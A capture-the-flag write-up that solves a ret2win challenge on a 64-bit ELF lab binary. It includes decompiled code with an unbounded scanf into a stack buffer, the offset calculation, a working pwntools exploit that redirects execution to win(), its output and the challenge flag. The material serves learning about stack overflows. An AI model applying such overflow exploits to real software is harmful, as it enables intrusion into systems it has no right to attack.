Summary

In this challenge, we are given an ELF binary. Based on the challenge name, it hints at a classic ret2win vulnerability.

Analysis

Decompiling

First of all, I performed some initial reconnaissance on the binary to see what protections it was using.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(M9suu㉿kali)-[~/Desktop/CyberEdu/ret2win]
└─$ file win
win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=870e1a40f72bb59f8fc69f9e1fc7b3979c6155eb, for GNU/Linux 3.2.0, not stripped

┌──(M9suu㉿kali)-[~/Desktop/CyberEdu/ret2win]
└─$ pwn checksec ./win
[*] '/home/M9suu/Desktop/CyberEdu/ret2win/win'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Decompiling the binary in Ghidra, we can see two interesting functions: a vulnerable function that we need to exploit using a simple buffer overflow, and the win() function that prints the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
undefined8 main(void)

{
  vulnerable();
  return 0;
}

void vulnerable(void)

{
  undefined local_28 [32];

  printf("What do you like to do: ");
  __isoc99_scanf(&DAT_00402050,local_28);
  return;
}

void win(void)

{
  int iVar1;
  FILE *__stream;

  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("Could not find flag.txt");
  }
  else {
    printf("Your flag is - ");
    while( true ) {
      iVar1 = getc(__stream);
      if ((char)iVar1 == -1) break;
      putchar((int)(char)iVar1);
    }
    putchar(10);
  }
  return;
}

The vulnerability is in the following line:

1
scanf("%s", local_28);

There is no length limit on the input, so I can overflow the 32-byte stack buffer and overwrite the saved return address.

Finding the Offset

The stack layout is:

1
2
3
32-byte buffer
8-byte saved RBP
8-byte saved RIP

Therefore, the offset to RIP is:

1
32 + 8 = 40 bytes

Finding the Address of win()

Since PIE is disabled, the address of win() is fixed. I found it using objdump:

1
2
3
4
objdump -d ./win | grep "win"

./win:     file format elf64-x86-64
00000000004011c9 <win>:

Exploitation

The payload consists of:

1
2
40 bytes of padding
Address of win()

The local exploit script is:

1
2
3
4
5
6
7
8
9
10
from pwn import *

elf = ELF("./win")

payload = b"A" * 40
payload += p64(elf.symbols["win"])

p = process("./win")
p.sendline(payload)
p.interactive()

Running the exploit gives us the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python3 solver.py

[*] '/home/M9suu/Desktop/CyberEdu/ret2win/win'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

[+] Starting local process './win': pid 70784
[*] Switching to interactive mode
What do you like to do: Your flag is - CTF{test_flag}

[*] Got EOF while reading in interactive
$

Flag

CTF{57d52a9acb396a027392b1dda981b4e8e8e5cdf61c379f71003876c3541fd15b}

Tags: pwn ret2win